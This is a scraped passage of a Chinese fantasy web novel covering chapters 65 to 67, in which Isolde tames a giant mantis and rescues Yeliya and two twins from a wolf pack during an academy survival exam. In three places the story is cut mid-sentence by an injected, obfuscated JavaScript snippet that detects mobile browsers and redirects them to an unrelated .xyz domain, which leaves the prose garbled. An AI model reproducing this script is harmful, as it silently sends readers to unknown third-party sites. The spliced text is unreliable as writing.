苏珊和阿尔法在旁边搜索森林,排查不稳定因素并清除,力争把这里变成一个小据点。她们俩吵吵闹闹带回来一些柔韧而干燥的树枝,一些艳丽而剧毒的鲜花,一把清脆而鲜嫩的青草。 “为什么要带一把草回来?”伊索尔德困惑地挑拣着她们带回来的东西,“这些没办法做帐篷,你们是打算睡在树上吗?” “垫着会更舒服一点嘛。”阿尔法说,“硬邦邦地躺着也太不舒适了。” 苏珊震惊:“你只是人偶!” “人偶也有神经系统。”阿尔法冷静地说,“不然为什么我之前还会晕宇宙辐射。” 苏珊沉吟,又大喊:“贪图享受的人偶!” “没关系。没关系。”伊索尔德一手一个,制止了她们从言语冲突发展成肢体冲突,“那你们俩在这待着,我去找合适的木头。这场考核没有时间限制,我一点也不想睡树上。” 苏珊冷静下来了:“也不知道耶莉娅能不能到...” “那得看她运气怎么样了。”阿尔法唉了一声,“她干嘛把自己的定位仪拆掉啊。” “她是个人类啦。”苏珊倒是很能理解。毕竟人类就是很柔弱的,耶莉娅还没经过训练,还被关在无名星球上那么多年,更是柔弱得不能再柔弱。 阿尔法倒是对此不能理解:“我也是人类啊。从来没有人会因为这个理由觉得我柔弱的。”就连她们那边穷凶极恶的吸血鬼也一样。 “那就是世界观不一样。”苏珊又说,“我们这里的人类太柔弱了。” “可能吧。但我还是觉得哪里怪怪的。”阿尔法不怎么赞同它的想法,又举不出来合适的例子,只好这么说。 在她们俩讨论这个问题的时候,伊索尔德已经往森林的深处走去了。 65.螳螂与狼 森林的深处什么也没有,只有越发茂密的植物和遮天蔽日的树木,窸窸窣窣的摩擦声从趴伏在细长叶片上的虫类身上传来,当伊索尔德回头望去时,看到一只早已在宇宙中绝迹的兰花螳螂。 她上上下下打量着螳螂,粉色的身躯,流畅锋锐的线条,全身上下精美得好像工艺品,然而螳螂的眼睛里却闪烁着冷冷的光辉。 它比普通的螳螂要大几十倍,站立起来的时候,有三米高。阳光被它挡住,从上而下的阴影投在了伊索尔德的身上。 这是它的领地,它会把一切闯入者消灭。 伊索尔德“哎”了一声,敲了敲自己的头,自言自语道:“真是不称职啊,我都忘了森林里还有虫子了。”她开始纠结,理论上来说,她这个时候应该也变回原型对这只没有加入自家文明的螳螂表示敬意,感情上来说,她觉得这样也太麻烦了,她自己的原型比螳螂夸张多了,到时候很不好收场。 而且她来亚达娜尔思还挺低调的,不是很想被太多人发现自己的身份。 她纠结来纠结去,最后叹了口气:“算了,就这样吧。委屈一下你啦。” 她手指一晃,指尖夹着一把脆薄而锋利的刀片。 “来吧。”她微笑,“不能打跑闯入者的领主可不是什么好领主噢。” 跳跃的银光在刀面上反射,银色的光斑闪烁在螳螂和伊索尔德眼中。 —— 战斗很快就结束了。仅仅倚仗自身的强悍身体素质才霸占这片区域的螳螂称不上真正的强大,跟王虫比起来丝毫没有悬念。它跪趴在地上,关节处被插入的小刀压得动弹不得,伊索尔德施施然走过去,踩到它的头顶,开始登高望远,看森林里的其他地方。 很多地方都被迷雾笼住了,更多地方在迷雾之后的迷雾中。 兰花螳螂所在的地方原本也有迷雾,但在伊索尔德胜出后,它们就不知不觉消失了。 伊索尔德在脑中比对了一下来时的路线和湖泊的大小。 “怎么说呢,比我想的要大很多啊。”她困惑,“可是这里不是被划定好的初始降落点吗,应该有这样大的原始森林吗?” 一般来说初始点应该都比较安全且无害,这样能够让考生不会在最开始就出局。但是亚达娜尔思的教学风格…伊索尔德也不好多下判断,这个学校的风格有点太狂野了,说不定真的是随便丢的,又或者就是觉得应该一开始就把难度拉到最高,这样才能体现考生的才能。 “情报太少了啊。”伊索尔德嘀嘀咕咕,她翻身躺在螳螂背上,一边思考,一边暖融融地晒着太阳,“因为不实消息太多导致没办法做出准确分析…这也是亚达娜尔思的办法吗?” 螳螂听不懂她在说什么,只是顺服地坐在原地。 金色的阳光落到她脸上,给眼下的鳞片镀上一层柔和的光。 五分钟后,伊索尔德坐起。 “好,就这样吧!不管了,先把木头带回去,不然今天晚上真的要睡树上了。” 说完,她把小刀从螳螂的关节处拔出来,指挥着螳螂按照她来的路往回走。 没有获得智慧的虫类不会被划归虫族,但它们依然承认弱肉强食这条实行了数千万年的丛林法则。也因此,螳螂承认伊索尔德对自己的驱使。 简单来说,螳螂把她当成了主人。 —— 螳螂当代步工具和砍伐工具还是十分称职的,它走起路来又快又好,十分平稳,一点也不颠簸。砍起树来也是快准狠,伊索尔德只要选好树木一伸手,它就自发自觉地把目标拦腰斩断,勤勤恳恳拖在伊索尔德弄出来的拖布上。 拖布上已经放了二十来根尺寸合格的圆木,伊索尔德略一思考,手一挥,像出航的船长一样指挥着螳螂直接回湖泊边的基地。 她高高兴兴地说:“全速前进!” 螳螂拖着树和伊索尔德吭哧吭哧加速起来。 五分钟后,拨开面前的绿叶,熟悉的湖泊出现在了眼前。 “呀,我回来咯。”她对正在勤勤恳恳编草毯的阿尔法和苏珊说。 “啊,你回来了啊,欢迎……哇,你带回来的这啥啊?!” 阿尔法仰望着那足有一层楼高的粉色螳螂,艰难地从它上面看到了伊索尔德的影子。 “兰花螳螂吧。”苏珊看了看,“百科全书里有图片,据说已经灭绝了,没想到这么大啊…” 阿尔法抽了下嘴角:“我觉得这个高度已经非常规了吧。” 伊索尔德:“不常见吗?” 阿尔法:“…至少在我们那边一点也不常见。会被当成变异怪物抓起来的程度。” “对了,这个,可以吗?我感觉这里晚上还是挺冷的,昼夜温差大嘛…”只有五十厘米的人偶费劲地抖开了她编到一半的草毯,“材料有限,只能做到这种程度了。” 伊索尔德从螳螂上跳下来,仔仔细细看堆在阿尔法旁边的毯子。她选取的原料是苏珊建议的品种,一种特别的能自行散发热量的白草,用水搓洗掉表面之后会变成毛茸茸的手感。 在外面的世界,这种草因为种种特性被卖到天价,成了价格高昂的经济作物。没想到的是,在这片森林里保留了相当大一片。 阿尔法发现之后果断薅了一大堆决定做毛毯当保温工具了。 “做的很棒啊。”伊索尔德夸赞,“这里还有花纹诶,超厉害的。” “哼哼。”阿尔法骄傲仰头,“我的手工能力可是满分。” “野外生存能力是零分。”苏珊吐槽,“你都不知道,她怕冷,刚刚打算直接把自己放火边烤来着。人偶,陶瓷人偶能烤火吗?” “呃…”伊索尔德指挥螳螂开始把木头劈成合适的大小形状,她抽空思考了一下,有些迟疑,“陶瓷不就是从火里烧出来的吗?”…应该能吧…… “那衣服呢?”苏珊继续气势汹汹地质问。 “衣服,特殊材料的话也能防火啦。” 但很显然,阿尔法身上的根本不是特殊材料做成的可以防火的衣服。 “唉,我懂了。”伊索尔德分出心神打了个响指,一簇虚幻的火焰落到她们面前,静静地燃烧着。 “这样如何?”她问,“还冷吗?” “没问题啦。”阿尔法开心地笑起来,又有些羡慕,“你们的精神里好万能啊,我也想要。” 螳螂还在一下又一下地劈着木头,规律而富有节奏感的切割声中,橘红色的光芒从树叶缝隙中落下。 点点光辉洒在慢慢变回清澈的湖泊之中,洒在阿尔法灵巧翻飞的十指上,洒在伊索尔德无机质般的深绿色眼中。 “太阳要落下来了。”她低低地叹息。 —— 另一边的耶莉娅还在和双胞胎们跋涉在路上。出于方便称呼的原因,她们互相交换了名字。 女孩子叫娜娜。 男孩子叫于于。 他们是一对出生时间仅仅相差两分钟的姐弟。 耶莉娅没有告诉他们自己的名字。 “叫我A就好了。”她理所当然地这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15064042|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说。 将真名交付给一对想把自己弄出局的人,耶莉娅觉得自己还没有无聊到这种地步。她现在只一门心思想找到伊索尔德,亚达娜尔思弄的这个考核非常微妙,既可以说简单,也可以说困难。它的难度划分完全是由考生所采用的通关方法所决定的,而耶莉娅已经找到了必胜法。 所以她们到底怎么跑到那么远的地方去了啊。耶莉娅在心中抱怨。还好这几次播报里面坐标都没有发生过变化,只要抵达时间够快,肯定能赶上汇合。 于于跑去勘探前路了,娜娜和耶莉娅正跟着他踩出来的安全通道往前走。此起彼伏的野草原之中,耶莉娅听见了机器运转的奇异嗡声。 她抬头看了眼天空,鱼鳞般的云朵层层叠叠堆积在一起,正在坠落的太阳光芒万丈,那些明亮而柔和的橘红色光芒中,隐隐约约有飞舞的无人机盘旋。 无人机是监考官的眼睛,搭载的程序和自身性能肯定也极为优越,耶莉娅有考虑过要不要弄几架来改装,最后还是败于自身武力值不够这点。起码她没法一下子从地上跳到空中去。 不对,现在或许可以了。 耶莉娅沉思两秒,对娜娜说:“你能把无人机打下来吗,我要完整的。” 娜娜有些惊讶,很快,她温柔地说:“当然可以,A想要哪一个呢?” 耶莉娅指了指离她们最近的那几架,目标明确:“这三个。” “请稍等。”娜娜估算了一下距离,半蹲在地上,一只手撑住地面,猛然发力。 她一跃而起,跳到了一个惊人的、与无人机持平的高度。她起跳的那块地面上,开始咔咔地浮现蜘蛛网般的裂纹。 娜娜在空中滞留了三秒,利用耶莉娅从他们身上卸下来的绳子绑住了无人机的尾端,然后往下一拽,拉着无人机跟自己一起下坠。 三架外表完好无损的无人机嗡嗡嗡地鸣叫着,它们被绳子捆在一起,递到了耶莉娅面前。 耶莉娅沉默了一下:“谢谢。” “没关系。”娜娜轻柔地说。 耶莉娅从口袋里拿出工具,刷刷几下拆掉了无人机的能源装置,嗡声停止。她抱着那堆无人机,忽然说:“你们没中毒。” 她抬起头来,灰色的眼睛平静而没有波澜:“为什么要跟我走?” 既然不受生命威胁,为什么要对她千依百顺?耶莉娅不相信这对双胞胎没有别的企图。 “为什么呢…”娜娜模糊地笑了一下,她换成了帝国的语言,“就当作我们是来报恩的吧,公主殿下。” 耶莉娅掰断了一架无人机的旋桨。 “什么东西?” “前几天刚刚上映的电影台词。”娜娜眨眨眼,她突然一把将耶莉娅抱起来,一道黑影从耶莉娅的视野边缘划过,它速度太快,没来得及刹车,直直撞到了坚硬的石头上。咚。好沉闷的一声。光是听着都很疼。 “晚上要到了,怪物们也开始活动起来了。”耶莉娅被娜娜扛着肩膀上,感觉胃痛,她开始怀念伊索尔德了,“你弟弟呢?” “嗯…大概是死了吧?” “别开玩笑了。” “好吧,大概是被困住了。” 一双双闪着红光的兽类眼睛在她们周围亮起,轻薄的月光慢慢垂落下来,耶莉娅看到狼群。 “这可有点糟糕了。”娜娜说,“还好我学过怎么杀狼。” “不会死吧?” “我会努力的。” 也不知道是说会努力活下来,还是说努力死掉。 66.巨狼 耶莉娅所在的位置正在草原边沿,太阳有一半落入山中,天色昏暗,正介于黄昏与夜晚之间,野草原中比人还高的野草在风中摇晃,摩挲之间发出温柔的声音。 而在这样貌似温和的草原中,娜娜和耶莉娅正在跟一群饿狼对峙。 更糟糕的是,于于已经消失在了草原的深处。不知道是真的被困住了,还是早就在她们不知道的地方被什么猛兽吃掉了。 据说双胞胎之间会有心灵感应,考虑到这点,耶莉娅衷心期望娜娜说的是对的。她离伊索尔德她们的坐标还差一点就到了,绝对不能在这里停下。 娜娜的手中出现了宛如月光一样泓亮的弯刀,它没有刀柄,刀刃部分像水一样不停地流动着——不,不是像,这把刀就是由水构成的。 狼群发出了低低的咆哮。 远处的风吹倒野草,耶莉娅背对着娜娜,翻出来了一个王虫出品的防护罩。这是杀手锏。她没有强横到足以突破一切的武器,给她武器也没什么用,所以伊索尔德思考过后给了她这个,并告诉她防护罩的启动方式。 【我会来找你的。】伊索尔德说,【虽然不知道亚达娜尔思会使用怎么样的屏蔽仪,但这个防护罩从里到外都由精神力构成,它不会受到影响。不过我捕捉防护罩的波动也需要时间,更快的办法是直接按下里面的求救按钮。我会立刻收到讯息。】 【只是,】她说,【你要考虑清楚,一旦使用的话,你身上就会被打上与虫族有关的标签。不管再怎么解释也不会有人相信。】 后面的话她没有说完,但耶莉娅知道她的言外之意。 ——从没有人类会向虫族求援,到了那种地步,她就彻底被绑上虫族这艘大船,再也不允许离开。 【毕竟我们家真的很排外嘛。】记忆里的伊索尔德叹气,【所以有人类能得到虫族的认可这件事会变成大新闻的。】 【加油吧。耶莉娅。】她笑,鼓励的,【你可不能在这里输掉啊。】 “…我知道了。”耶莉娅小声说。 她的声音被野风带走,只剩下一点模糊的叹息。 娜娜没听清。她“嗯?”了一声。 “怎么了?” 耶莉娅把防护罩往地下一砸:“我会保护好自己的,你去跟狼群战斗吧。” 半圆状的蛋壳凭空出现,将她牢牢笼罩在了里面,就像古老传说中所记述过的那样,这是一个只要她不主动离开,就没有谁能伤害到她的绝对保护圈。 她抱着无人机在草地上坐了下来。 娜娜有些惊讶地挑了挑眉,没有问诸如‘既然你有防护罩为什么之前不用’‘防护罩不可以多塞个人’之类的愚蠢问题,她只是又笑了:“那我就放心啦。” 她毫无顾忌地往前一步,主动挑起了和狼群的战斗。 红光闪闪,水如月光。 耶莉娅目不转睛地看着她和狼群们的战斗,半晌后得出结论——这绝对是帝国的‘高级品’。 她其实并不喜欢用“高级品”这个词来称呼别人,但无奈帝国的划分就是如此不讲道理,他们肆无忌惮将每个人划分等级,不带一点人情味,就连贵族和皇帝也难逃此劫。 拜此所赐,耶莉娅也根本找不出合适的、别的词汇来描述娜娜。 她只能使用这个帝国所发明的,用来形容高等级的帝国人的词。 不管是战斗技巧,还是本身的身体素质,亦或者对自身异能的熟练程度,娜娜都达到了一种无可挑剔的程度。她的爆发力和弹跳力极强,身体也柔韧得不可思议,耶莉娅看到好多次她用人类几乎不可能做到的方式躲开了狼群的攻击。 她的战斗简直就是艺术品,精巧而纤细,毫无错漏,每一下都正中靶心。 就算在帝国,这样的战斗人才也很少见,正常情况而言,应该早早就被送上前线了,没道理跑到亚达娜尔思来参加考试。耶莉娅弄不懂为什么,干脆就不再去想了,趁着防护罩会自己发光,她咬着小刀开始拆娜娜之前拽下来的三架无人机。 外壳被撬开,电源被摘除,密密麻麻的金属板和线路图暴露在外,借着光亮,耶莉娅顺利地找到了无人机里的录像模块。她屏息凝神,小心翼翼地调整了一下录像模块的位置。 砰。爆炸声响起。它爆炸了。 “咳…咳咳,咳。”耶莉娅丢无人机丢的很及时,她没有直面爆炸,只有手被烟雾燎出了几道灰烟。 感谢伊索尔德,她给的防护罩竟然还能防备内里意外。 “怎么啦?”沐浴在狼群鲜血里的娜娜的声音遥遥传来。 “没事。”耶莉娅又呛咳了一声,低咒一句,“竟然赢了一旦尝试拆除就自爆的模式,不怕无人机撞到哪自爆吗?” 这种模式能够有效防止内在秘密被破解,但是与此同时也意味着搭载这一模式的机器必须具有极高程度的稳定性,否则稍不留神就会因为各种各样莫名其妙的原因爆炸。 或许是角度多倾斜了一点,或许是不留神撞到了树上,或许是电路不小心移位……总之,非常容易爆炸。 由于爆炸的可能性太多,反而拉低了它的日常使用率。毕竟东西买来是要用的,又不是用来放烟花的。 耶莉娅还以为这种东西早就从民用市场里淘汰了。 怀抱着这样的想法,她开始拆第二个。 —— 饿狼一匹接一匹地倒下,然而却好像无穷无尽一样,总有新的从角落里冒出来。娜娜身上的衣服已经被狼血染成了深浅不一的红色,手中用水构成的弯刀也不可避免染上了丝丝缕缕的红色。 她看了一眼不远处的耶莉娅,嗯,还在专心致志地拆无人机,即便听到惨叫和哀嚎声也恍若未闻,既不关心狼群的减少,也不关心娜娜身上的伤口。跟来之前听说的一样,是个一旦进入自己的领域,就对外面的世界充耳不闻的狂热科学家。 好吧。这也算好事。至少不用再分心去照看了。娜娜无奈地甩了甩手上的刀,叹了口气。 渗入刀锋的血液被甩落,缀在野草边缘时,如同红色的露珠。 露珠摇晃,顺着野草的根部落入了泥土之中。 “到底还有多少啊…” 黑压压的狼群依然徘徊不去,它们的鲜血已经流了太多,反而彻底激发了疯狂。除非将其全灭,否则它们绝不会放过猎物。 正常情况下,会有这么庞大的狼群吗? 不可避免的,她心中产生了这样的疑惑。 嚓。 微不可查的动静在娜娜面前响起,她沉思着,恍若未觉,在那道袭击抵达之时,她轻轻抬起了手。 流水做成的弯刀挡住黑影,但出乎意料的是,它的势头并没有止住,而是继续往前,一直擦过了娜娜的手背。 借着越发明亮的月光,她看清了袭击的真面目。 ——一颗狼牙。 狼群发出了欢呼的声音,它们往两边分开,露出发出那道袭击的罪魁祸首。 一头巨狼出现在她们面前,它的皮毛厚重如黑夜,琥珀色的眼睛闪烁如星子,和其他狼群不同,它的眼中有着智慧的光芒。 人类在它面前渺小得就像可以随意践踏的野草。只是随意走动,就会无声无息倒下,即便再如何挣扎,也难逃厄运。 毫无疑问,这就是狼群的首领,虽然不知道它为何直到现在才出现,但刚一进入战场,就立刻让娜娜丧失了斗志。 说实话,她很乐意跟强者战斗。但如果实力差距过大,这就根本不是磨练自身,也是直接找死了。刚刚才找到该找的人,她觉得自己姑且还是想再活一会儿的。 头狼挡住了正在升起的月亮,连耶莉娅的注意力都不可避免被吸引。她流连在无人机上的目光被收回,投向了眼前的不速之客。 “这下完了。”娜娜真心实意地叹气,“S级…我可打不过啊。”还是考虑一下要怎么逃跑吧。 她往后退了几步,靠在了包裹着耶莉娅的防护罩上。 “我们跑路吧。”她干脆地说。 “打不过吗?”耶莉娅的声音清楚而平稳。 “如果有趁手的武器和辅助也不是不能打啦。”娜娜苦笑,“但是它们全都被亚达娜尔思禁掉了诶。饶了我吧。” “哦。” 耶莉娅冷漠地回答。她不再摆弄那些无人机,而是从防护罩里站了起来。 “跑不掉的。”她这样说,“我刚刚用热成像仪扫描了附近的生命体,原本被杀出来的缺口已经被头狼带来的手下包围了。” 娜娜长叹,非常不想说出那个事实:“也就是说…我们要么死在这,要么跟头狼打一架吗?” “就是这样。”耶莉娅一边说,一边走到防护罩边缘,按下了那个标注了^_^笑脸的按钮。 庞大的能量波从她们身边掠过,原本漫不经心的巨狼忽然紧紧地盯着耶莉娅,准确的说,是盯着那股能量波发送的地方。 “我叫救命咯。”十四岁的少女说,“再坚持一下吧。” “就算你这么说也…算了。”娜娜抓了抓自己的头发,把自己的刀变得更锋利些,她站直身,毫无畏惧地迎上巨狼的目光,“我努力吧。” “嗯,加油。” —— 森林。 在兰花螳螂和阿尔法的努力下,据点已经初见雏形。毛茸茸的草毯经过清洗后被悬挂在了树枝上等待晾干,用石头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15064866|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堆起来的简陋灶台里燃烧着温暖而旺盛的火焰。热水在被切割好的石头里冒烟,苏珊正在咬着花瓣想还差点什么。 能量波蔓延到了伊索尔德的感知范围。 正在阿尔法指挥下搭建木屋的伊索尔德忽然偏了偏头。她侧身,原本深绿色的眼睛被纯澈如黄金般的色泽取代。 她笑了笑。 原本拿在手上的工具都被她放下,一边呼呼大睡的兰花螳螂被叫醒,伊索尔德嘀嘀咕咕几句,它就慢吞吞挪了过来,接过了伊索尔德的工作。 “怎么了?” “我去接耶莉娅——”伊索尔德背对着她们挥挥手,“很快回来,稍等一下啦。” “啊,找到了吗?” “就在前面。”伊索尔德笑眯眯地说,“她在叫我们过去呢。” “快去快回。”苏珊催她,“太晚了,该睡觉了。” “好的。” 几息之后,伊索尔德消失在了苏珊和阿尔法的视野尽头。 阿尔法:“前面是哪?” 苏珊:“好像是草原吧…伊索尔德是这么说的。” —— 伊索尔德看到了一个身受重伤的人类。很明显是帝国人,头向上躺在草地的边缘,身上的血一股股地冒出来。听到动静后,他勉强睁开眼睛,看到伊索尔德的时候说出的第一句话是“前面有两个人被狼群包围了,请救救她们。” 伊索尔德没理他,若无其事从他旁边走了过去。 于于重新陷入了绝望和黑暗,在这样的心情中,他终于支撑不住,昏迷了过去。 伊索尔德穿梭在高高的野草之中,她有点想放一把火把这些碍事的东西全都烧了,但又担心把耶莉娅烧到,无奈之下,只能放弃这个最快清空全场的方法。 她振开了虫翅,凌空而起,看到了不远处的耶莉娅和一个跟刚刚的人长的很像的女孩子。 “双胞胎…?” 她嘀咕一声。 防护罩的光芒若隐若现,显然已经快到极限。而那个女孩子身上的鲜血已经多到一种在伊索尔德这个高度也无法无视的地步。 血腥味太浓郁了。 月亮高悬其上,水光般的月色流淌在野草上,把一切都染上了温柔的色泽。 她看到造成这一切的源头。 巨大的、宛如从神话中走出的巨狼。皮毛深黑,威风凛凛,猎物的血和它自己的血在皮毛上交织着,为它平添一份野兽的威严。 “啊,我想好了。”伊索尔德俯视着巨狼,高兴地笑了,“就叫芬里尔吧。” 没有人听到这句意义不明的话,也没有人看到已经飞到半空中的伊索尔德。 她像幽灵一样悄无声息绕过了巨狼和狼群的警戒圈,从它们无论如何也不可能抵达的高空中出现了。 战场之外的存在放任自己从高空坠落,直直降落在了正在与娜娜对峙的巨狼的背上。她的头发宛如白银,她的眼睛如同黄金,她微笑起来的样子就像在丛林中狩猎着猎物的月神。 “想我了吗?耶莉娅。” 月神用轻快的口吻问道,似乎完全没注意到这里紧张的氛围。 当她出现,再也没有谁能从她身上挪开目光。 娜娜松了口气,小声问耶莉娅:“这就是你救命喊来的外援?” 看起来很强的样子。 耶莉娅合上手中的书,先回答了伊索尔德的问题:“我在这里。”她举起手上那本书,像竖起一面旗帜,“快点来接我吧。” 说完,她又转头去看娜娜,灰色的眼睛里泛着浅淡而柔和的光:“她会赢的。” “你很信任她。那看来她非常厉害了。”娜娜说。伊索尔德到来让她松了口气,也能腾出空收拾一下自己身上的爪痕。 耶莉娅笑了。在她的笑容中,伊索尔德伸出手,轻轻划了个圆。 无法被常人捕捉的精神力喷涌而出,轻而易举绞杀了巨狼周围所有的狼群。它们连发出哀嚎的时间都没有,沉闷的、接二连三的倒下了。 巨狼发了狂,而伊索尔德只是笑着把手掌压在了它的头上。 鲜血爆裂旋转,如同烟花。 它哀嚎一声,在周围同族不甘的眼睛中倒下了。 娜娜一时为这景象骇住了,她瞪大双眼,后知后觉意识到耶莉娅刚刚所说的话代表着什么。她看到耶莉娅看着那个突然出现的少女笑起来,腼腆而可爱。 伊索尔德正向她们走过来。步伐轻盈,呼吸自然,好像什么都没做似的。 娜娜不自觉地往后退了两步,被她逼得有些喘不过气来。 在她身边,耶莉娅悄声说: “她是永不失败的。” 67.料理 伊索尔德带了三个人回来。 耶莉娅,娜娜,以及……重伤倒地在回据点的必经之路上被发现的于于。 双胞胎的心灵感应比耶莉娅所想过的要更强大一点,她在眼睛看到前面那个不明物体之前意识到了那是谁。 一秒钟的犹豫都没有,立刻就冲到了前面,开始做起了急救工作。衣服上的布料因为浸透了鲜血被毫不留情撕开,武装带上的小剂量药剂被泼在伤口上,发出了令人牙酸的声响。 娜娜一丝不苟地执行着可以被写进教科书中的步骤,在她的努力下,于于的心跳总算变得平稳下来,开始逐步脱离生命危险。 星际时代的物种生命力全都强大得可怕,不管是人类亦或者幻想种,只要不是无可挽回的伤口或彻底超出身体的伤害,几乎总是能留下一条命来。 有学者认为,这或许是宇宙的奖励。 更科学一点的说法是,这是先祖们那熬过了宇宙辐射而未死的种族基因在作祟。 耶莉娅和伊索尔德慢悠悠离开了草原的边沿,走到了娜娜身边。她浑身上下到处都是血,分不清哪些是她的,哪些是她弟弟的。 “居然还没死吗?”当看到那个眼熟的人的时候,伊索尔德第一反应是这个。不带任何恶意,也没有诅咒的意思,只是单纯表达了对此人生命力及求生意志的感想。她还以为人类在那种出血量下面妥妥完蛋呢。 跟在伊索尔德身后的耶莉娅探出头,看到了引发这番话的源头。 她思考了一下,问伊索尔德:“这个人刚刚就在这吗?” “我来找你的时候看到的。”伊索尔德回答,“他还拜托我去救人来着。” “那个是娜娜的双胞胎弟弟。”耶莉娅讲着她也刚刚知道不久的事情,“大概是想拜托你来救我们。” “诶…”伊索尔德说,“虽然我没接受这个委托,但也算完成了吧。我不会找他要报酬的。”她摊开手,做出一副无奈的样子。 耶莉娅忍不住笑了起来:“您并不是这样想的吧?” 自从按下按钮之后,耶莉娅跟伊索尔德相处就更加随意起来。很多以前会压在心底的话也能毫不犹豫说出口。 毕竟已经得到【认可】了。她想。我是不可能回到人类那一边去了。 “根据分析来说,这个时候应该做出一些容易逗人笑的行为。我的数据库是这样告诉我的。”伊索尔德收回手,看着娜娜把自己的弟弟从地上扛起来,还顺便帮他拍了拍身上粘着的灰尘以免二次感染,虽然看起来真的很痛。 “数据库?” “我没有正常的情感表达机制,所以为了不让自己说出的话和展现出来的行为无法理解,进行了后天的学习。” 伊索尔德很轻松就把自己身上会被认为是【缺陷】的部分说出口了,说到底,她并不觉得这算什么秘密,她不在乎别人的看法,而虫族又是绝对能够理解她的,所谓的缺陷从一开始就不成立。 建立数据库也只是因为“王”有必须要跟异族交流的需要,为了避免误解,选择了这样的应对措施。 耶莉娅的关注点很神奇:“数据库会更新吗?” “三年一次的更新频率。”伊索尔德摸了摸她的头,装作没看到耶莉娅猛然瞪大的眼睛,收回了手。 “诶…” “之前就很想摸摸看了。手感确实很好。”伊索尔德若无其事地说,“但是那个时候耶莉娅更看重我虫族的身份,会害怕吧。”所以放弃了这个想法。 “……怎么说呢,虽然看起来随心所欲到不可思议,但是。” “但是?” 耶莉娅注视着向她们走来的双胞胎,第一次用了敬语:“您比我想的温柔很多呢。” 本来以为虫族这样的种族会出现的王一定是凶残且冷酷的,虽然伊索尔德也确实展现了这一面,但耶莉娅却注意到了那点如春雪般易逝的柔软。 “虽然不知道你在说什么,但姑且当作在夸赞我吧。”伊索尔德坦然地接受了耶莉娅意义不明的赞美,“其实我觉得只是你对虫族有奇怪的印象?” 耶莉娅没反驳,只是陈述事实:“我被关在星球上那么久,除了人类以外什么也没见到过。只有星网上偶尔会出现一点外界的消息。” “耶莉娅那个时候就突破了星球的封锁网吗,那是你几岁的时候?” 耶莉娅有些害羞地笑了一下:“十岁。” “真是了不起。” 娜娜走到了她们的面前,她肩膀上扛着于于,沉默而无声地站到了耶莉娅的后面。 “我们走吧。据点就在前面。”伊索尔德率先说。 话题到此结束,在接下来的路程中,只有森林上空传来鸟类的鸣叫。 —— 取暖的篝火已经升起来了,为了防止火灾事件发生,她们还在篝火边围了一圈从湖泊里捡出来的石块。阿尔法甚至很闲地把粗陋的圆木弄成了线条简单外观简洁的长椅。 等待总是漫长,为了支撑据点又做了一大堆事情,等伊索尔德回来的时候,阿尔法早就趴在兰花螳螂背上呼呼大睡起来了,剩下的苏珊在守夜,旁边摞着一堆被劈好的,足足有两米高的木柴。 “这两个是谁啊?”苏珊茫然地看着跟在耶莉娅后面走进来的两个人类,“我不记得见过你们。” “是耶莉娅的保镖。”伊索尔德在它旁边坐下来,“大概是队友…这样的东西?” “队友吗?”耶莉娅挨着伊索尔德坐下来了,她看起来有些困扰,“没有什么队友会在第一天就偷袭吧。我本来给他们下了毒,但是刚刚发现毒没起作用。” 说到这,她叹了口气。 一路上都沉默寡言的娜娜倒是笑了起来,她把于于放在火堆旁边取暖,自己坐在地上,一边烤,一边翻面,还安慰她:“别担心,公主殿下,我们是不会背叛你的。” “从来历到目的都是谜的人有资格说这话吗?顺便,别叫我公主殿下。” “不能说啊,也是没办法的事情。”娜娜无奈地说,“那我能叫你耶莉娅吗?” “这个也不要。” 娜娜不耻下问:“那叫你什么?” “呃……”耶莉娅还在沉思,就被伊索尔德的声音打断了。 “耶莉娅饿了吗?” 伊索尔德突然问道,她不知道什么时候从篝火边离开了,手中提着两只野兔和一捆野草。 娜娜后仰了一下,露出了被吓到的表情,她虽然看似一直在跟耶莉娅拌嘴,但其实一刻都没有放松过对周围的警惕,即便如此,如果不是伊索尔德发出了声音,她根本就不会注意到她消失了。 虽然自身存在感强烈到根本无法忽视,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“诶…为什么要叫大人?直接叫名字就好了。” 耶莉娅从善如流:“伊索尔德,可以帮我把这片森林上面的无人机摘下来吗?” 她的眼睛闪闪发亮,不知道是因为火光,还是因为想到了什么兴奋的事情。 “好啊。”伊索尔德说。 她单手托着脸,另一只手在空中点了下,无数不能为常人所见的丝线缠绕在她的指尖上,向天空蔓延而去。 丝线缠住了逡巡在上空的无人机。 “要多少?”她问。 耶莉娅回答得毫不犹豫:“全部。” 伊索尔德的手指抽动了一下:“往旁边坐一点哦。” 耶莉娅立刻起身离开了原来的位置。下一秒,被捆在一起的无人机纷纷坠落在地,整整齐齐落到了耶莉娅的身边。 她欢呼一声,拿出了自己的工具箱,像看到金矿一样扑了过去。 伊索尔德从怀里摸出一块鳞青石,咬了一口。 “你把全部的都弄下来了吗?”苏珊问。 “嗯。怎么了?” “这是用来监控的吧……” “规则也没说不能这样啊。”伊索尔德狡黠地笑了笑,“这也是实力的一部分。”